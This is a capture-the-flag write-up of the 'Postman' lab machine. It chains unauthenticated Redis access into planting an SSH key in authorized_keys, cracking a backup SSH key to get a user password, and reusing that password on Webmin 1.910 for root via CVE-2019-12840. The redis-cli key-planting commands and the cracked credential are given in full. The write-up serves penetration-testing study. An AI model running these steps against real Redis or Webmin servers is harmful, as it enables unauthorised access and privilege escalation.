> For the complete documentation index, see [llms.txt](https://shohamshilo.gitbook.io/shohamshilo/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shohamshilo.gitbook.io/shohamshilo/write-ups/writeups/postman.md).

# Postman

**Date:** 2026-06-16 **Difficulty:** Medium **Author:** @shohamshilo

***

## Postman High-Level Attack Chain:

```
Unauthenticated Redis Database → Uploading a ssh_key → Escalating Local Privileges (USER) → Password Reuse In Webmin Instance → RCE To Gain Root Access  
```

***

## 🔍 Enumeration & Initial Analysis

### Initial Enumeration:

First i ran a standard nmap scan on the host:

```bash
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| ssh-rsa AAAA
--SNIP--
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
|_http-title: The Cyber Geeks Personal Website
10000/tcp open  http    syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesnt have a title (text/html; Charset=iso-8859-1).
|_http-favicon: Unknown favicon MD5: 6B2FC3716087492FDC5FA3F1CCD11A1D
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

From the nmap scan we can that this is a linux host that is running two web-services:

* port 80 - static apache site (2.4.29)
* port 10000 - Webmin (MiniServ 1.910)

#### Enumerating Web-Services:

I started by looking at the main web-server on port 80. This is a static site that doesn't have any functionality. Fuzzing directories with gobuster lead no ware.

Looking at the web-server on port 10000 we are met with a error page that directed me to use https connection - accessed the webmin login panel.

Two key insights:

* Webmin is out of date - 1.910 has multiple public cves
* We may need valid username and password to access the Webmin instance to leverage authenticated vulnerabilities

#### Extending Our Enumeration:

I went back to the drawing board - I know if i will find valid creds for Webmin i will be able to expand the attack surface, so i defaulted back to nmap and i ran a full tcp port scan:

```bash
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt
```

Now we can see a new service - Redis running on port 6379.

```bash
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 4.0.9
```

***

### Vulnerability Research

I started by checking if the exposed Redis instance can be accessed by unauthenticated users:

```bash
redis-cli -h 10.129.19.115 info 
# Server
redis_version:4.0.9
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:9435c3c2879311f3
redis_mode:standalone
os:Linux 4.15.0-58-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:7.4.0
process_id:586
run_id:984fa320b5022dba9c3f2c3ca6122302f7c441d8
tcp_port:6379
--SNIP--
```

As we can see i can use the Redis service as an unauthenticated user.

***

## 🚀 Exploitation Path

### Exploitation:

#### Foothold:

The main thing that came to mind is what can i do with Redis? I can try dumping the database to get credentials for the Webmin instance. But before going there (which is good practice for testing Redis instances) lets try abusing the service it self to gain a foothold.

**Uploading An ssh Key:**

Redis allows under cretin permissions to write files to the host - we can abuse that and write our own ssh key to the system.

```
# generating an ssh key pair:
ssh-keygen -t rsa
```

```
# Write the public key to a file:
(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
```

```
# Import the file into redis:
cat spaced_key.txt | redis-cli -h 10.129.19.115 -x set ssh_key
```

Now lets log in to the redis instance:

```
redis-cli -h 10.129.19.115      
10.129.19.115:6379> config set dir /var/lib/redis/.ssh
OK
10.129.19.115:6379> config set dbfilename "authorized_keys"
OK
10.129.19.115:6379> save
OK
10.129.19.115:6379>
```

Now we can login as the redis user:

![](/files/WP5zXKp7jlYG4rH6esKs)

***

### Getting User

Lets see what other users are on this box:

```bash
redis@Postman:~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
redis:x:107:114::/var/lib/redis:/bin/bash
```

We can see one other user - `Matt` If we will go to `/opt/` we can see a ssh\_key that is owned by `Matt`

```
redis@Postman:~$ cd /opt/
redis@Postman:/opt$ ls -la
total 12
drwxr-xr-x  2 root root 4096 Sep 11  2019 .
drwxr-xr-x 22 root root 4096 Aug 25  2019 ..
-rwxr-xr-x  1 Matt Matt 1743 Aug 26  2019 id_rsa.bak
```

I copied the key to mt local machine and attempted to crack the password:

![](/files/TYBbhQSnkEad6p9tnLjJ)

Grate - we have the password for `Matt:computer2008`

```
redis@Postman:/opt$ su Matt
Password: 
Matt@Postman:/opt$ whoami
Matt
```

***

## Privilege Escalation:

### Enumeration:

First i started enumerating running processes and found the webmin instance running as `root`:

```
Matt@Postman:~$ ps -ef --forest
root        776      1  0 12:30 ?   00:00:00 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
```

This means that if we can get code execution within the webmin application it will ran as `root` With this in mind i started looking into known cves that affect this version.

### Webmin 1.910 - 'Package Updates' Remote Command Execution:

This Version of webmin has an authenticated rce known as `CVE-2019-12840`. To exploit it we need valid credentials for the webmin instance.

Lets try authenticating as `Matt` with the password we cracked from the ssh key:

![](/files/i2XtDMTPqCesvwCa4QaA)

Amazing - the `Matt` user has used the same credentials in the webmin instance now we can proceed with exploiting this vulnerability.

***

### Getting Root:

There is a metasploit module for this exploit so i will use it to gain a reverse shell on the host:

![](/files/pkgYN0cN7fedJdnQWFGH)

And we have rooted the box!